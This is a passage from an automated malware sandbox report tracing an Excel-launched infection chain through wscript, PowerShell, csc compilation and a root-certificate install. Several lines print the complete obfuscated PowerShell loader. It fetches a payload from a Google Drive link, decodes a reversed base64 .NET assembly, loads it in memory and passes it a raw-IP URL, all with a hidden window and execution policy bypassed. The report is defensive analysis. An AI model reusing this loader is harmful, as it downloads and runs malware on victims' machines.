N0aWN0aGluZ3N3aXRoZ29vZHRoaW5nc2dpdmVuYmVzdC50SUYiLCIkRU5WOkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIiwwLDApO3N0QVJ0LXNsZWVwKDMpO3N0QVJ0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkZW52OkFQUERBVEFcb2dpc3RpY3RoaW5nc3dpdGhnb29kdGhpbmdzZ2l2ZW5iZXMudmJTIg=='+[Char]0x22+'))')))"	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) \|. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdXaDdpbWFnZVVybCA9IHJmSWh0dHBzOi8vZHJpdmUuZ28nKydvZ2xlLmNvbS91Yz9leHBvcnQ9ZG93bmxvYWQmaWQ9JysnMUFJVmdKSkp2MUY2dlM0c1VPeWJuSC1zRHZVaEJZd3VyIHJmSTtXaDd3ZWJDbGknKydlbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O1doN2ltYScrJ2dlQnl0ZXMgPSBXaCcrJzcnKyd3ZWJDbGllbnQuRG93bmxvYWREYXRhKFdoN2ltYWdlVXJsKTtXaDdpbScrJ2FnZVRleHQgPSBbU3lzdGVtLlRleCcrJ3QuRW4nKydjb2RpbmddOjpVVEY4LkdldFN0JysncmluZyhXaCcrJzdpbWFnZUJ5dGVzKTtXaDdzdGFyJysndEZsYWcgPSByZkk8PEJBU0U2NF9TVEFSVD4+cmZJO1doN2VuZEZsYWcgPSByZkk8PEJBU0U2NCcrJ19FTkQ+PnJmSTtXaDdzdGFydEluZGV4ID0gV2g3aW1hZ2VUZXh0LkluZGV4T2YoV2g3c3RhcnRGbGFnKTtXaDdlbmRJbicrJ2RleCA9IFdoN2ltYScrJ2dlVGV4dC5JbmRleE9mKFdoN2VuZEZsYScrJ2cpO1doN3N0YXJ0SW5kZXggLWdlIDAgLWFuZCBXaDdlbmRJbmRleCAtZ3QgV2g3c3RhcnRJbmQnKydleDtXJysnaDdzdGFydEluZGV4ICs9IFdoN3N0YXJ0RmxhZy5MZW5ndGg7V2g3YmFzZTY0TGVuZ3RoID0gV2g3ZW5kSW5kZXggLSBXaDdzdGFydEluZGV4O1doN2Jhc2U2NENvbW1hbmQgPSBXaDdpbWFnZVRleHQuU3Vic3RyaW5nKFdoN3N0YXJ0SW5kZXgsIFdoN2Jhc2U2NExlbmd0aCknKyc7V2g3YmEnKydzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoV2g3YmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFJZOSBGb3JFYWNoLU9iamVjdCB7IFdoNycrJ18gfSlbLTEuLi0oV2g3YmFzZTY0Q29tbWFuZC5MZW5ndGgnKycpXTtXaDdjJysnb21tYW5kQnl0ZXMgPSBbU3lzdCcrJ2VtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFdoN2JhJysnc2U2NFJldmVyc2VkKTtXaDdsb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoV2g3Y29tbWFuJysnZEJ5dGVzJysnKTtXaDd2YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKHJmSVZBSXJmSSk7JysnV2g3dmFpTWV0aG9kLkludm9rZShXaDdudWwnKydsLCBAKHJmSXR4dC5JS0xHT0wvMjQvMTQxLjY3MS4zLicrJzI5MS8vOnB0dGhyZkknKycsIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWRlc2F0aXZhZG9yZkksIHJmSWFzcG5ldF9yZWdicm93c2Vyc3JmSSwgcmZJZGVzYXRpdmFkb3JmSSwgcmZJZGVzYXRpdmFkb3JmSSxyZklkJysnZXNhdGl2YWRvJysncmZJLHJmJysnSWRlc2F0aXZhJysnZG9yZkkscmZJZGVzYXRpdmFkb3JmSSxyZklkZXNhdGl2YWQnKydvcmZJLHJmSWRlc2F0aXZhZCcrJ29yZkkscmZJMXJmSSxyZklkZXNhdGl2YWRvcmZJKSk7JykuUkVQTEFjRSgoW0NIYXJdODcrW0NIYXJdMTA0K1tDSGFyXTU1KSwnJCcpLlJFUExBY0UoJ3JmSScsW3N0cmluR11bQ0hhcl0zOSkuUkVQTEFjRSgoW0NIYXJdODIrW0NIYXJdODkrW0NIYXJdNTcpLFtzdHJpbkddW0NIYXJdMTI0KSB8LiAoICRWRXJCb1NFUHJlZkVyZU5DZS5Ub3NUUmluZygpWzEsM10rJ1gnLWpvSW4nJyk=';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('Wh7imageUrl = rfIhttps://drive.go'+'ogle.com/uc?export=download&id='+'1AIVgJJJv1F6vS4sUOybnH-sDvUhBYwur rfI;Wh7webCli'+'ent = New-Object System.Net.WebClient;Wh7ima'+'geBytes = Wh'+'7'+'webClient.DownloadData(Wh7imageUrl);Wh7im'+'ageText = [System.Tex'+'t.En'+'coding]::UTF8.GetSt'+'ring(Wh'+'7imageBytes);Wh7star'+'tFlag = rfI<<BASE64_START>>rfI;Wh7endFlag = rfI<<BASE64'+'_END>>rfI;Wh7startIndex = Wh7imageText.IndexOf(Wh7startFlag);Wh7endIn'+'dex = Wh7ima'+'geText.IndexOf(Wh7endFla'+'g);Wh7startIndex -ge 0 -and Wh7endIndex -gt Wh7startInd'+'ex;W'+'h7startIndex += Wh7startFlag.Length;Wh7base64Length = Wh7endIndex - Wh7startIndex;Wh7base64Command = Wh7imageText.Substring(Wh7startIndex, Wh7base64Length)'+';Wh7ba'+'se64R'+'eversed = -join (Wh7base64Command.ToCharArray() RY9 ForEach-Object { Wh7'+'_ })[-1..-(Wh7base64Command.Length'+')];Wh7c'+'ommandBytes = [Syst'+'em.Convert]::FromBase64String(Wh7ba'+'se64Reversed);Wh7loadedAssembly = [System.Reflection.Assembly]::Load(Wh7comman'+'dBytes'+');Wh7vaiMethod = [dnlib.IO.Home].GetMethod(rfIVAIrfI);'+'Wh7vaiMethod.Invoke(Wh7nul'+'l, @(rfItxt.IKLGOL/24/141.671.3.'+'291//:ptthrfI'+', rfIdesativadorfI, rfIdesativadorfI, rfIdesativadorfI, rfIaspnet_regbrowsersrfI, rfIdesativadorfI, rfIdesativadorfI,rfId'+'esativado'+'rfI,rf'+'Idesativa'+'dorfI,rfIdesativadorfI,rfIdesativad'+'orfI,rfIdesativad'+'orfI,rfI1rfI,rfIdesativadorfI));').REPLAcE(([CHar]87+[CHar]104+[CHar]55),'$').REPLAcE('rfI',[strinG][CHar]39).REPLAcE(([CHar]82+[CHar]89+[CHar]57),[strinG][CHar]124) \|. ( $VErBoSEPrefEreNCe.TosTRing()[1,3]+'X'-joIn'')"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.cmdline"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_000007FE899A022D push eax; iretd		5_2_000007FE899A0241
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 5_2_000007FE899A00BD pushad ; iretd		5_2_000007FE899A00C1

Persistence and Installation Behavior

Installs new ROOT certificates

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\12891DF7B048CD69D0196C8AD7A754C8A812A08C Blob

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\al22exsj\al22exsj.dll			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\f2dj0ncr\f2dj0ncr.dll			Jump to dropped file

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
